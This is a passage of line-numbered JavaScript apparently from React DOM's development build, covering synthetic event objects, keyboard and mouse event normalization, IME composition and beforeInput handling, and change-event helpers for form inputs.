6796 charCode = nativeEvent.charCode; // FF does not set `charCode` for the Enter-key, check against `keyCode`.
6797
6798 if (charCode === 0 && keyCode === 13) {
6799 charCode = 13;
6800 }
6801 } else {
6802 // IE8 does not implement `charCode`, but `keyCode` has the correct value.
6803 charCode = keyCode;
6804 } // IE and Edge (on Windows) and Chrome / Safari (on Windows and Linux)
6805 // report Enter as charCode 10 when ctrl is pressed.
6806
6807
6808 if (charCode === 10) {
6809 charCode = 13;
6810 } // Some non-printable keys are reported in `charCode`/`keyCode`, discard them.
6811 // Must not discard the (non-)printable Enter-key.
6812
6813
6814 if (charCode >= 32 || charCode === 13) {
6815 return charCode;
6816 }
6817
6818 return 0;
6819 }
6820
6821 function functionThatReturnsTrue() {
6822 return true;
6823 }
6824
6825 function functionThatReturnsFalse() {
6826 return false;
6827 } // This is intentionally a factory so that we have different returned constructors.
6828 // If we had a single constructor, it would be megamorphic and engines would deopt.
6829
6830
6831 function createSyntheticEvent(Interface) {
6832 /**
6833 * Synthetic events are dispatched by event plugins, typically in response to a
6834 * top-level event delegation handler.
6835 *
6836 * These systems should generally use pooling to reduce the frequency of garbage
6837 * collection. The system should check `isPersistent` to determine whether the
6838 * event should be released into the pool after being dispatched. Users that
6839 * need a persisted event should invoke `persist`.
6840 *
6841 * Synthetic events (and subclasses) implement the DOM Level 3 Events API by
6842 * normalizing browser quirks. Subclasses do not necessarily have to implement a
6843 * DOM interface; custom application-specific events can also subclass this.
6844 */
6845 function SyntheticBaseEvent(reactName, reactEventType, targetInst, nativeEvent, nativeEventTarget) {
6846 this._reactName = reactName;
6847 this._targetInst = targetInst;
6848 this.type = reactEventType;
6849 this.nativeEvent = nativeEvent;
6850 this.target = nativeEventTarget;
6851 this.currentTarget = null;
6852
6853 for (var _propName in Interface) {
6854 if (!Interface.hasOwnProperty(_propName)) {
6855 continue;
6856 }
6857
6858 var normalize = Interface[_propName];
6859
6860 if (normalize) {
6861 this[_propName] = normalize(nativeEvent);
6862 } else {
6863 this[_propName] = nativeEvent[_propName];
6864 }
6865 }
6866
6867 var defaultPrevented = nativeEvent.defaultPrevented != null ? nativeEvent.defaultPrevented : nativeEvent.returnValue === false;
6868
6869 if (defaultPrevented) {
6870 this.isDefaultPrevented = functionThatReturnsTrue;
6871 } else {
6872 this.isDefaultPrevented = functionThatReturnsFalse;
6873 }
6874
6875 this.isPropagationStopped = functionThatReturnsFalse;
6876 return this;
6877 }
6878
6879 assign(SyntheticBaseEvent.prototype, {
6880 preventDefault: function () {
6881 this.defaultPrevented = true;
6882 var event = this.nativeEvent;
6883
6884 if (!event) {
6885 return;
6886 }
6887
6888 if (event.preventDefault) {
6889 event.preventDefault(); // $FlowFixMe - flow is not aware of `unknown` in IE
6890 } else if (typeof event.returnValue !== 'unknown') {
6891 event.returnValue = false;
6892 }
6893
6894 this.isDefaultPrevented = functionThatReturnsTrue;
6895 },
6896 stopPropagation: function () {
6897 var event = this.nativeEvent;
6898
6899 if (!event) {
6900 return;
6901 }
6902
6903 if (event.stopPropagation) {
6904 event.stopPropagation(); // $FlowFixMe - flow is not aware of `unknown` in IE
6905 } else if (typeof event.cancelBubble !== 'unknown') {
6906 // The ChangeEventPlugin registers a "propertychange" event for
6907 // IE. This event does not support bubbling or cancelling, and
6908 // any references to cancelBubble throw "Member not found". A
6909 // typeof check of "unknown" circumvents this issue (and is also
6910 // IE specific).
6911 event.cancelBubble = true;
6912 }
6913
6914 this.isPropagationStopped = functionThatReturnsTrue;
6915 },
6916
6917 /**
6918 * We release all dispatched `SyntheticEvent`s after each event loop, adding
6919 * them back into the pool. This allows a way to hold onto a reference that
6920 * won't be added back into the pool.
6921 */
6922 persist: function () {// Modern event system doesn't use pooling.
6923 },
6924
6925 /**
6926 * Checks if this event should be released back into the pool.
6927 *
6928 * @return {boolean} True if this should not be released, false otherwise.
6929 */
6930 isPersistent: functionThatReturnsTrue
6931 });
6932 return SyntheticBaseEvent;
6933 }
6934 /**
6935 * @interface Event
6936 * @see http://www.w3.org/TR/DOM-Level-3-Events/
6937 */
6938
6939
6940 var EventInterface = {
6941 eventPhase: 0,
6942 bubbles: 0,
6943 cancelable: 0,
6944 timeStamp: function (event) {
6945 return event.timeStamp || Date.now();
6946 },
6947 defaultPrevented: 0,
6948 isTrusted: 0
6949 };
6950 var SyntheticEvent = createSyntheticEvent(EventInterface);
6951
6952 var UIEventInterface = assign({}, EventInterface, {
6953 view: 0,
6954 detail: 0
6955 });
6956
6957 var SyntheticUIEvent = createSyntheticEvent(UIEventInterface);
6958 var lastMovementX;
6959 var lastMovementY;
6960 var lastMouseEvent;
6961
6962 function updateMouseMovementPolyfillState(event) {
6963 if (event !== lastMouseEvent) {
6964 if (lastMouseEvent && event.type === 'mousemove') {
6965 lastMovementX = event.screenX - lastMouseEvent.screenX;
6966 lastMovementY = event.screenY - lastMouseEvent.screenY;
6967 } else {
6968 lastMovementX = 0;
6969 lastMovementY = 0;
6970 }
6971
6972 lastMouseEvent = event;
6973 }
6974 }
6975 /**
6976 * @interface MouseEvent
6977 * @see http://www.w3.org/TR/DOM-Level-3-Events/
6978 */
6979
6980
6981 var MouseEventInterface = assign({}, UIEventInterface, {
6982 screenX: 0,
6983 screenY: 0,
6984 clientX: 0,
6985 clientY: 0,
6986 pageX: 0,
6987 pageY: 0,
6988 ctrlKey: 0,
6989 shiftKey: 0,
6990 altKey: 0,
6991 metaKey: 0,
6992 getModifierState: getEventModifierState,
6993 button: 0,
6994 buttons: 0,
6995 relatedTarget: function (event) {
6996 if (event.relatedTarget === undefined) return event.fromElement === event.srcElement ? event.toElement : event.fromElement;
6997 return event.relatedTarget;
6998 },
6999 movementX: function (event) {
7000 if ('movementX' in event) {
7001 return event.movementX;
7002 }
7003
7004 updateMouseMovementPolyfillState(event);
7005 return lastMovementX;
7006 },
7007 movementY: function (event) {
7008 if ('movementY' in event) {
7009 return event.movementY;
7010 } // Don't need to call updateMouseMovementPolyfillState() here
7011 // because it's guaranteed to have already run when movementX
7012 // was copied.
7013
7014
7015 return lastMovementY;
7016 }
7017 });
7018
7019 var SyntheticMouseEvent = createSyntheticEvent(MouseEventInterface);
7020 /**
7021 * @interface DragEvent
7022 * @see http://www.w3.org/TR/DOM-Level-3-Events/
7023 */
7024
7025 var DragEventInterface = assign({}, MouseEventInterface, {
7026 dataTransfer: 0
7027 });
7028
7029 var SyntheticDragEvent = createSyntheticEvent(DragEventInterface);
7030 /**
7031 * @interface FocusEvent
7032 * @see http://www.w3.org/TR/DOM-Level-3-Events/
7033 */
7034
7035 var FocusEventInterface = assign({}, UIEventInterface, {
7036 relatedTarget: 0
7037 });
7038
7039 var SyntheticFocusEvent = createSyntheticEvent(FocusEventInterface);
7040 /**
7041 * @interface Event
7042 * @see http://www.w3.org/TR/css3-animations/#AnimationEvent-interface
7043 * @see https://developer.mozilla.org/en-US/docs/Web/API/AnimationEvent
7044 */
7045
7046 var AnimationEventInterface = assign({}, EventInterface, {
7047 animationName: 0,
7048 elapsedTime: 0,
7049 pseudoElement: 0
7050 });
7051
7052 var SyntheticAnimationEvent = createSyntheticEvent(AnimationEventInterface);
7053 /**
7054 * @interface Event
7055 * @see http://www.w3.org/TR/clipboard-apis/
7056 */
7057
7058 var ClipboardEventInterface = assign({}, EventInterface, {
7059 clipboardData: function (event) {
7060 return 'clipboardData' in event ? event.clipboardData : window.clipboardData;
7061 }
7062 });
7063
7064 var SyntheticClipboardEvent = createSyntheticEvent(ClipboardEventInterface);
7065 /**
7066 * @interface Event
7067 * @see http://www.w3.org/TR/DOM-Level-3-Events/#events-compositionevents
7068 */
7069
7070 var CompositionEventInterface = assign({}, EventInterface, {
7071 data: 0
7072 });
7073
7074 var SyntheticCompositionEvent = createSyntheticEvent(CompositionEventInterface);
7075 /**
7076 * @interface Event
7077 * @see http://www.w3.org/TR/2013/WD-DOM-Level-3-Events-20131105
7078 * /#events-inputevents
7079 */
7080 // Happens to share the same list for now.
7081
7082 var SyntheticInputEvent = SyntheticCompositionEvent;
7083 /**
7084 * Normalization of deprecated HTML5 `key` values
7085 * @see https://developer.mozilla.org/en-US/docs/Web/API/KeyboardEvent#Key_names
7086 */
7087
7088 var normalizeKey = {
7089 Esc: 'Escape',
7090 Spacebar: ' ',
7091 Left: 'ArrowLeft',
7092 Up: 'ArrowUp',
7093 Right: 'ArrowRight',
7094 Down: 'ArrowDown',
7095 Del: 'Delete',
7096 Win: 'OS',
7097 Menu: 'ContextMenu',
7098 Apps: 'ContextMenu',
7099 Scroll: 'ScrollLock',
7100 MozPrintableKey: 'Unidentified'
7101 };
7102 /**
7103 * Translation from legacy `keyCode` to HTML5 `key`
7104 * Only special keys supported, all others depend on keyboard layout or browser
7105 * @see https://developer.mozilla.org/en-US/docs/Web/API/KeyboardEvent#Key_names
7106 */
7107
7108 var translateToKey = {
7109 '8': 'Backspace',
7110 '9': 'Tab',
7111 '12': 'Clear',
7112 '13': 'Enter',
7113 '16': 'Shift',
7114 '17': 'Control',
7115 '18': 'Alt',
7116 '19': 'Pause',
7117 '20': 'CapsLock',
7118 '27': 'Escape',
7119 '32': ' ',
7120 '33': 'PageUp',
7121 '34': 'PageDown',
7122 '35': 'End',
7123 '36': 'Home',
7124 '37': 'ArrowLeft',
7125 '38': 'ArrowUp',
7126 '39': 'ArrowRight',
7127 '40': 'ArrowDown',
7128 '45': 'Insert',
7129 '46': 'Delete',
7130 '112': 'F1',
7131 '113': 'F2',
7132 '114': 'F3',
7133 '115': 'F4',
7134 '116': 'F5',
7135 '117': 'F6',
7136 '118': 'F7',
7137 '119': 'F8',
7138 '120': 'F9',
7139 '121': 'F10',
7140 '122': 'F11',
7141 '123': 'F12',
7142 '144': 'NumLock',
7143 '145': 'ScrollLock',
7144 '224': 'Meta'
7145 };
7146 /**
7147 * @param {object} nativeEvent Native browser event.
7148 * @return {string} Normalized `key` property.
7149 */
7150
7151 function getEventKey(nativeEvent) {
7152 if (nativeEvent.key) {
7153 // Normalize inconsistent values reported by browsers due to
7154 // implementations of a working draft specification.
7155 // FireFox implements `key` but returns `MozPrintableKey` for all
7156 // printable characters (normalized to `Unidentified`), ignore it.
7157 var key = normalizeKey[nativeEvent.key] || nativeEvent.key;
7158
7159 if (key !== 'Unidentified') {
7160 return key;
7161 }
7162 } // Browser does not implement `key`, polyfill as much of it as we can.
7163
7164
7165 if (nativeEvent.type === 'keypress') {
7166 var charCode = getEventCharCode(nativeEvent); // The enter-key is technically both printable and non-printable and can
7167 // thus be captured by `keypress`, no other non-printable key should.
7168
7169 return charCode === 13 ? 'Enter' : String.fromCharCode(charCode);
7170 }
7171
7172 if (nativeEvent.type === 'keydown' || nativeEvent.type === 'keyup') {
7173 // While user keyboard layout determines the actual meaning of each
7174 // `keyCode` value, almost all function keys have a universal value.
7175 return translateToKey[nativeEvent.keyCode] || 'Unidentified';
7176 }
7177
7178 return '';
7179 }
7180 /**
7181 * Translation from modifier key to the associated property in the event.
7182 * @see http://www.w3.org/TR/DOM-Level-3-Events/#keys-Modifiers
7183 */
7184
7185
7186 var modifierKeyToProp = {
7187 Alt: 'altKey',
7188 Control: 'ctrlKey',
7189 Meta: 'metaKey',
7190 Shift: 'shiftKey'
7191 }; // Older browsers (Safari <= 10, iOS Safari <= 10.2) do not support
7192 // getModifierState. If getModifierState is not supported, we map it to a set of
7193 // modifier keys exposed by the event. In this case, Lock-keys are not supported.
7194
7195 function modifierStateGetter(keyArg) {
7196 var syntheticEvent = this;
7197 var nativeEvent = syntheticEvent.nativeEvent;
7198
7199 if (nativeEvent.getModifierState) {
7200 return nativeEvent.getModifierState(keyArg);
7201 }
7202
7203 var keyProp = modifierKeyToProp[keyArg];
7204 return keyProp ? !!nativeEvent[keyProp] : false;
7205 }
7206
7207 function getEventModifierState(nativeEvent) {
7208 return modifierStateGetter;
7209 }
7210 /**
7211 * @interface KeyboardEvent
7212 * @see http://www.w3.org/TR/DOM-Level-3-Events/
7213 */
7214
7215
7216 var KeyboardEventInterface = assign({}, UIEventInterface, {
7217 key: getEventKey,
7218 code: 0,
7219 location: 0,
7220 ctrlKey: 0,
7221 shiftKey: 0,
7222 altKey: 0,
7223 metaKey: 0,
7224 repeat: 0,
7225 locale: 0,
7226 getModifierState: getEventModifierState,
7227 // Legacy Interface
7228 charCode: function (event) {
7229 // `charCode` is the result of a KeyPress event and represents the value of
7230 // the actual printable character.
7231 // KeyPress is deprecated, but its replacement is not yet final and not
7232 // implemented in any major browser. Only KeyPress has charCode.
7233 if (event.type === 'keypress') {
7234 return getEventCharCode(event);
7235 }
7236
7237 return 0;
7238 },
7239 keyCode: function (event) {
7240 // `keyCode` is the result of a KeyDown/Up event and represents the value of
7241 // physical keyboard key.
7242 // The actual meaning of the value depends on the users' keyboard layout
7243 // which cannot be detected. Assuming that it is a US keyboard layout
7244 // provides a surprisingly accurate mapping for US and European users.
7245 // Due to this, it is left to the user to implement at this time.
7246 if (event.type === 'keydown' || event.type === 'keyup') {
7247 return event.keyCode;
7248 }
7249
7250 return 0;
7251 },
7252 which: function (event) {
7253 // `which` is an alias for either `keyCode` or `charCode` depending on the
7254 // type of the event.
7255 if (event.type === 'keypress') {
7256 return getEventCharCode(event);
7257 }
7258
7259 if (event.type === 'keydown' || event.type === 'keyup') {
7260 return event.keyCode;
7261 }
7262
7263 return 0;
7264 }
7265 });
7266
7267 var SyntheticKeyboardEvent = createSyntheticEvent(KeyboardEventInterface);
7268 /**
7269 * @interface PointerEvent
7270 * @see http://www.w3.org/TR/pointerevents/
7271 */
7272
7273 var PointerEventInterface = assign({}, MouseEventInterface, {
7274 pointerId: 0,
7275 width: 0,
7276 height: 0,
7277 pressure: 0,
7278 tangentialPressure: 0,
7279 tiltX: 0,
7280 tiltY: 0,
7281 twist: 0,
7282 pointerType: 0,
7283 isPrimary: 0
7284 });
7285
7286 var SyntheticPointerEvent = createSyntheticEvent(PointerEventInterface);
7287 /**
7288 * @interface TouchEvent
7289 * @see http://www.w3.org/TR/touch-events/
7290 */
7291
7292 var TouchEventInterface = assign({}, UIEventInterface, {
7293 touches: 0,
7294 targetTouches: 0,
7295 changedTouches: 0,
7296 altKey: 0,
7297 metaKey: 0,
7298 ctrlKey: 0,
7299 shiftKey: 0,
7300 getModifierState: getEventModifierState
7301 });
7302
7303 var SyntheticTouchEvent = createSyntheticEvent(TouchEventInterface);
7304 /**
7305 * @interface Event
7306 * @see http://www.w3.org/TR/2009/WD-css3-transitions-20090320/#transition-events-
7307 * @see https://developer.mozilla.org/en-US/docs/Web/API/TransitionEvent
7308 */
7309
7310 var TransitionEventInterface = assign({}, EventInterface, {
7311 propertyName: 0,
7312 elapsedTime: 0,
7313 pseudoElement: 0
7314 });
7315
7316 var SyntheticTransitionEvent = createSyntheticEvent(TransitionEventInterface);
7317 /**
7318 * @interface WheelEvent
7319 * @see http://www.w3.org/TR/DOM-Level-3-Events/
7320 */
7321
7322 var WheelEventInterface = assign({}, MouseEventInterface, {
7323 deltaX: function (event) {
7324 return 'deltaX' in event ? event.deltaX : // Fallback to `wheelDeltaX` for Webkit and normalize (right is positive).
7325 'wheelDeltaX' in event ? -event.wheelDeltaX : 0;
7326 },
7327 deltaY: function (event) {
7328 return 'deltaY' in event ? event.deltaY : // Fallback to `wheelDeltaY` for Webkit and normalize (down is positive).
7329 'wheelDeltaY' in event ? -event.wheelDeltaY : // Fallback to `wheelDelta` for IE<9 and normalize (down is positive).
7330 'wheelDelta' in event ? -event.wheelDelta : 0;
7331 },
7332 deltaZ: 0,
7333 // Browsers without "deltaMode" is reporting in raw wheel delta where one
7334 // notch on the scroll is always +/- 120, roughly equivalent to pixels.
7335 // A good approximation of DOM_DELTA_LINE (1) is 5% of viewport size or
7336 // ~40 pixels, for DOM_DELTA_SCREEN (2) it is 87.5% of viewport size.
7337 deltaMode: 0
7338 });
7339
7340 var SyntheticWheelEvent = createSyntheticEvent(WheelEventInterface);
7341
7342 var END_KEYCODES = [9, 13, 27, 32]; // Tab, Return, Esc, Space
7343
7344 var START_KEYCODE = 229;
7345 var canUseCompositionEvent = canUseDOM && 'CompositionEvent' in window;
7346 var documentMode = null;
7347
7348 if (canUseDOM && 'documentMode' in document) {
7349 documentMode = document.documentMode;
7350 } // Webkit offers a very useful `textInput` event that can be used to
7351 // directly represent `beforeInput`. The IE `textinput` event is not as
7352 // useful, so we don't use it.
7353
7354
7355 var canUseTextInputEvent = canUseDOM && 'TextEvent' in window && !documentMode; // In IE9+, we have access to composition events, but the data supplied
7356 // by the native compositionend event may be incorrect. Japanese ideographic
7357 // spaces, for instance (\u3000) are not recorded correctly.
7358
7359 var useFallbackCompositionData = canUseDOM && (!canUseCompositionEvent || documentMode && documentMode > 8 && documentMode <= 11);
7360 var SPACEBAR_CODE = 32;
7361 var SPACEBAR_CHAR = String.fromCharCode(SPACEBAR_CODE);
7362
7363 function registerEvents() {
7364 registerTwoPhaseEvent('onBeforeInput', ['compositionend', 'keypress', 'textInput', 'paste']);
7365 registerTwoPhaseEvent('onCompositionEnd', ['compositionend', 'focusout', 'keydown', 'keypress', 'keyup', 'mousedown']);
7366 registerTwoPhaseEvent('onCompositionStart', ['compositionstart', 'focusout', 'keydown', 'keypress', 'keyup', 'mousedown']);
7367 registerTwoPhaseEvent('onCompositionUpdate', ['compositionupdate', 'focusout', 'keydown', 'keypress', 'keyup', 'mousedown']);
7368 } // Track whether we've ever handled a keypress on the space key.
7369
7370
7371 var hasSpaceKeypress = false;
7372 /**
7373 * Return whether a native keypress event is assumed to be a command.
7374 * This is required because Firefox fires `keypress` events for key commands
7375 * (cut, copy, select-all, etc.) even though no character is inserted.
7376 */
7377
7378 function isKeypressCommand(nativeEvent) {
7379 return (nativeEvent.ctrlKey || nativeEvent.altKey || nativeEvent.metaKey) && // ctrlKey && altKey is equivalent to AltGr, and is not a command.
7380 !(nativeEvent.ctrlKey && nativeEvent.altKey);
7381 }
7382 /**
7383 * Translate native top level events into event types.
7384 */
7385
7386
7387 function getCompositionEventType(domEventName) {
7388 switch (domEventName) {
7389 case 'compositionstart':
7390 return 'onCompositionStart';
7391
7392 case 'compositionend':
7393 return 'onCompositionEnd';
7394
7395 case 'compositionupdate':
7396 return 'onCompositionUpdate';
7397 }
7398 }
7399 /**
7400 * Does our fallback best-guess model think this event signifies that
7401 * composition has begun?
7402 */
7403
7404
7405 function isFallbackCompositionStart(domEventName, nativeEvent) {
7406 return domEventName === 'keydown' && nativeEvent.keyCode === START_KEYCODE;
7407 }
7408 /**
7409 * Does our fallback mode think that this event is the end of composition?
7410 */
7411
7412
7413 function isFallbackCompositionEnd(domEventName, nativeEvent) {
7414 switch (domEventName) {
7415 case 'keyup':
7416 // Command keys insert or clear IME input.
7417 return END_KEYCODES.indexOf(nativeEvent.keyCode) !== -1;
7418
7419 case 'keydown':
7420 // Expect IME keyCode on each keydown. If we get any other
7421 // code we must have exited earlier.
7422 return nativeEvent.keyCode !== START_KEYCODE;
7423
7424 case 'keypress':
7425 case 'mousedown':
7426 case 'focusout':
7427 // Events are not possible without cancelling IME.
7428 return true;
7429
7430 default:
7431 return false;
7432 }
7433 }
7434 /**
7435 * Google Input Tools provides composition data via a CustomEvent,
7436 * with the `data` property populated in the `detail` object. If this
7437 * is available on the event object, use it. If not, this is a plain
7438 * composition event and we have nothing special to extract.
7439 *
7440 * @param {object} nativeEvent
7441 * @return {?string}
7442 */
7443
7444
7445 function getDataFromCustomEvent(nativeEvent) {
7446 var detail = nativeEvent.detail;
7447
7448 if (typeof detail === 'object' && 'data' in detail) {
7449 return detail.data;
7450 }
7451
7452 return null;
7453 }
7454 /**
7455 * Check if a composition event was triggered by Korean IME.
7456 * Our fallback mode does not work well with IE's Korean IME,
7457 * so just use native composition events when Korean IME is used.
7458 * Although CompositionEvent.locale property is deprecated,
7459 * it is available in IE, where our fallback mode is enabled.
7460 *
7461 * @param {object} nativeEvent
7462 * @return {boolean}
7463 */
7464
7465
7466 function isUsingKoreanIME(nativeEvent) {
7467 return nativeEvent.locale === 'ko';
7468 } // Track the current IME composition status, if any.
7469
7470
7471 var isComposing = false;
7472 /**
7473 * @return {?object} A SyntheticCompositionEvent.
7474 */
7475
7476 function extractCompositionEvent(dispatchQueue, domEventName, targetInst, nativeEvent, nativeEventTarget) {
7477 var eventType;
7478 var fallbackData;
7479
7480 if (canUseCompositionEvent) {
7481 eventType = getCompositionEventType(domEventName);
7482 } else if (!isComposing) {
7483 if (isFallbackCompositionStart(domEventName, nativeEvent)) {
7484 eventType = 'onCompositionStart';
7485 }
7486 } else if (isFallbackCompositionEnd(domEventName, nativeEvent)) {
7487 eventType = 'onCompositionEnd';
7488 }
7489
7490 if (!eventType) {
7491 return null;
7492 }
7493
7494 if (useFallbackCompositionData && !isUsingKoreanIME(nativeEvent)) {
7495 // The current composition is stored statically and must not be
7496 // overwritten while composition continues.
7497 if (!isComposing && eventType === 'onCompositionStart') {
7498 isComposing = initialize(nativeEventTarget);
7499 } else if (eventType === 'onCompositionEnd') {
7500 if (isComposing) {
7501 fallbackData = getData();
7502 }
7503 }
7504 }
7505
7506 var listeners = accumulateTwoPhaseListeners(targetInst, eventType);
7507
7508 if (listeners.length > 0) {
7509 var event = new SyntheticCompositionEvent(eventType, domEventName, null, nativeEvent, nativeEventTarget);
7510 dispatchQueue.push({
7511 event: event,
7512 listeners: listeners
7513 });
7514
7515 if (fallbackData) {
7516 // Inject data generated from fallback path into the synthetic event.
7517 // This matches the property of native CompositionEventInterface.
7518 event.data = fallbackData;
7519 } else {
7520 var customData = getDataFromCustomEvent(nativeEvent);
7521
7522 if (customData !== null) {
7523 event.data = customData;
7524 }
7525 }
7526 }
7527 }
7528
7529 function getNativeBeforeInputChars(domEventName, nativeEvent) {
7530 switch (domEventName) {
7531 case 'compositionend':
7532 return getDataFromCustomEvent(nativeEvent);
7533
7534 case 'keypress':
7535 /**
7536 * If native `textInput` events are available, our goal is to make
7537 * use of them. However, there is a special case: the spacebar key.
7538 * In Webkit, preventing default on a spacebar `textInput` event
7539 * cancels character insertion, but it *also* causes the browser
7540 * to fall back to its default spacebar behavior of scrolling the
7541 * page.
7542 *
7543 * Tracking at:
7544 * https://code.google.com/p/chromium/issues/detail?id=355103
7545 *
7546 * To avoid this issue, use the keypress event as if no `textInput`
7547 * event is available.
7548 */
7549 var which = nativeEvent.which;
7550
7551 if (which !== SPACEBAR_CODE) {
7552 return null;
7553 }
7554
7555 hasSpaceKeypress = true;
7556 return SPACEBAR_CHAR;
7557
7558 case 'textInput':
7559 // Record the characters to be added to the DOM.
7560 var chars = nativeEvent.data; // If it's a spacebar character, assume that we have already handled
7561 // it at the keypress level and bail immediately. Android Chrome
7562 // doesn't give us keycodes, so we need to ignore it.
7563
7564 if (chars === SPACEBAR_CHAR && hasSpaceKeypress) {
7565 return null;
7566 }
7567
7568 return chars;
7569
7570 default:
7571 // For other native event types, do nothing.
7572 return null;
7573 }
7574 }
7575 /**
7576 * For browsers that do not provide the `textInput` event, extract the
7577 * appropriate string to use for SyntheticInputEvent.
7578 */
7579
7580
7581 function getFallbackBeforeInputChars(domEventName, nativeEvent) {
7582 // If we are currently composing (IME) and using a fallback to do so,
7583 // try to extract the composed characters from the fallback object.
7584 // If composition event is available, we extract a string only at
7585 // compositionevent, otherwise extract it at fallback events.
7586 if (isComposing) {
7587 if (domEventName === 'compositionend' || !canUseCompositionEvent && isFallbackCompositionEnd(domEventName, nativeEvent)) {
7588 var chars = getData();
7589 reset();
7590 isComposing = false;
7591 return chars;
7592 }
7593
7594 return null;
7595 }
7596
7597 switch (domEventName) {
7598 case 'paste':
7599 // If a paste event occurs after a keypress, throw out the input
7600 // chars. Paste events should not lead to BeforeInput events.
7601 return null;
7602
7603 case 'keypress':
7604 /**
7605 * As of v27, Firefox may fire keypress events even when no character
7606 * will be inserted. A few possibilities:
7607 *
7608 * - `which` is `0`. Arrow keys, Esc key, etc.
7609 *
7610 * - `which` is the pressed key code, but no char is available.
7611 * Ex: 'AltGr + d` in Polish. There is no modified character for
7612 * this key combination and no character is inserted into the
7613 * document, but FF fires the keypress for char code `100` anyway.
7614 * No `input` event will occur.
7615 *
7616 * - `which` is the pressed key code, but a command combination is
7617 * being used. Ex: `Cmd+C`. No character is inserted, and no
7618 * `input` event will occur.
7619 */
7620 if (!isKeypressCommand(nativeEvent)) {
7621 // IE fires the `keypress` event when a user types an emoji via
7622 // Touch keyboard of Windows. In such a case, the `char` property
7623 // holds an emoji character like `\uD83D\uDE0A`. Because its length
7624 // is 2, the property `which` does not represent an emoji correctly.
7625 // In such a case, we directly return the `char` property instead of
7626 // using `which`.
7627 if (nativeEvent.char && nativeEvent.char.length > 1) {
7628 return nativeEvent.char;
7629 } else if (nativeEvent.which) {
7630 return String.fromCharCode(nativeEvent.which);
7631 }
7632 }
7633
7634 return null;
7635
7636 case 'compositionend':
7637 return useFallbackCompositionData && !isUsingKoreanIME(nativeEvent) ? null : nativeEvent.data;
7638
7639 default:
7640 return null;
7641 }
7642 }
7643 /**
7644 * Extract a SyntheticInputEvent for `beforeInput`, based on either native
7645 * `textInput` or fallback behavior.
7646 *
7647 * @return {?object} A SyntheticInputEvent.
7648 */
7649
7650
7651 function extractBeforeInputEvent(dispatchQueue, domEventName, targetInst, nativeEvent, nativeEventTarget) {
7652 var chars;
7653
7654 if (canUseTextInputEvent) {
7655 chars = getNativeBeforeInputChars(domEventName, nativeEvent);
7656 } else {
7657 chars = getFallbackBeforeInputChars(domEventName, nativeEvent);
7658 } // If no characters are being inserted, no BeforeInput event should
7659 // be fired.
7660
7661
7662 if (!chars) {
7663 return null;
7664 }
7665
7666 var listeners = accumulateTwoPhaseListeners(targetInst, 'onBeforeInput');
7667
7668 if (listeners.length > 0) {
7669 var event = new SyntheticInputEvent('onBeforeInput', 'beforeinput', null, nativeEvent, nativeEventTarget);
7670 dispatchQueue.push({
7671 event: event,
7672 listeners: listeners
7673 });
7674 event.data = chars;
7675 }
7676 }
7677 /**
7678 * Create an `onBeforeInput` event to match
7679 * http://www.w3.org/TR/2013/WD-DOM-Level-3-Events-20131105/#events-inputevents.
7680 *
7681 * This event plugin is based on the native `textInput` event
7682 * available in Chrome, Safari, Opera, and IE. This event fires after
7683 * `onKeyPress` and `onCompositionEnd`, but before `onInput`.
7684 *
7685 * `beforeInput` is spec'd but not implemented in any browsers, and
7686 * the `input` event does not provide any useful information about what has
7687 * actually been added, contrary to the spec. Thus, `textInput` is the best
7688 * available event to identify the characters that have actually been inserted
7689 * into the target node.
7690 *
7691 * This plugin is also responsible for emitting `composition` events, thus
7692 * allowing us to share composition fallback code for both `beforeInput` and
7693 * `composition` event types.
7694 */
7695
7696
7697 function extractEvents(dispatchQueue, domEventName, targetInst, nativeEvent, nativeEventTarget, eventSystemFlags, targetContainer) {
7698 extractCompositionEvent(dispatchQueue, domEventName, targetInst, nativeEvent, nativeEventTarget);
7699 extractBeforeInputEvent(dispatchQueue, domEventName, targetInst, nativeEvent, nativeEventTarget);
7700 }
7701
7702 /**
7703 * @see http://www.whatwg.org/specs/web-apps/current-work/multipage/the-input-element.html#input-type-attr-summary
7704 */
7705 var supportedInputTypes = {
7706 color: true,
7707 date: true,
7708 datetime: true,
7709 'datetime-local': true,
7710 email: true,
7711 month: true,
7712 number: true,
7713 password: true,
7714 range: true,
7715 search: true,
7716 tel: true,
7717 text: true,
7718 time: true,
7719 url: true,
7720 week: true
7721 };
7722
7723 function isTextInputElement(elem) {
7724 var nodeName = elem && elem.nodeName && elem.nodeName.toLowerCase();
7725
7726 if (nodeName === 'input') {
7727 return !!supportedInputTypes[elem.type];
7728 }
7729
7730 if (nodeName === 'textarea') {
7731 return true;
7732 }
7733
7734 return false;
7735 }
7736
7737 /**
7738 * Checks if an event is supported in the current execution environment.
7739 *
7740 * NOTE: This will not work correctly for non-generic events such as `change`,
7741 * `reset`, `load`, `error`, and `select`.
7742 *
7743 * Borrows from Modernizr.
7744 *
7745 * @param {string} eventNameSuffix Event name, e.g. "click".
7746 * @return {boolean} True if the event is supported.
7747 * @internal
7748 * @license Modernizr 3.0.0pre (Custom Build) | MIT
7749 */
7750
7751 function isEventSupported(eventNameSuffix) {
7752 if (!canUseDOM) {
7753 return false;
7754 }
7755
7756 var eventName = 'on' + eventNameSuffix;
7757 var isSupported = (eventName in document);
7758
7759 if (!isSupported) {
7760 var element = document.createElement('div');
7761 element.setAttribute(eventName, 'return;');
7762 isSupported = typeof element[eventName] === 'function';
7763 }
7764
7765 return isSupported;
7766 }
7767
7768 function registerEvents$1() {
7769 registerTwoPhaseEvent('onChange', ['change', 'click', 'focusin', 'focusout', 'input', 'keydown', 'keyup', 'selectionchange']);
7770 }
7771
7772 function createAndAccumulateChangeEvent(dispatchQueue, inst, nativeEvent, target) {
7773 // Flag this event loop as needing state restore.
7774 enqueueStateRestore(target);
7775 var listeners = accumulateTwoPhaseListeners(inst, 'onChange');
7776
7777 if (listeners.length > 0) {
7778 var event = new SyntheticEvent('onChange', 'change', null, nativeEvent, target);
7779 dispatchQueue.push({
7780 event: event,
7781 listeners: listeners
7782 });
7783 }
7784 }
7785 /**
7786 * For IE shims
7787 */
7788
7789
7790 var activeElement = null;
7791 var activeElementInst = null;
7792 /**
7793 * SECTION: handle `change` event
7794 */
7795
7796 function shouldUseChangeEvent(elem) {
7797 var nodeName = elem.nodeName && elem.nodeName.toLowerCase();
7798 return nodeName === 'select' || nodeName === 'input' && elem.type === 'file';
7799 }
7800
7801 function manualDispatchChangeEvent(nativeEvent) {
7802 var dispatchQueue = [];
7803 createAndAccumulateChangeEvent(dispatchQueue, activeElementInst, nativeEvent, getEventTarget(nativeEvent)); // If change and propertychange bubbled, we'd just bind to it like all the
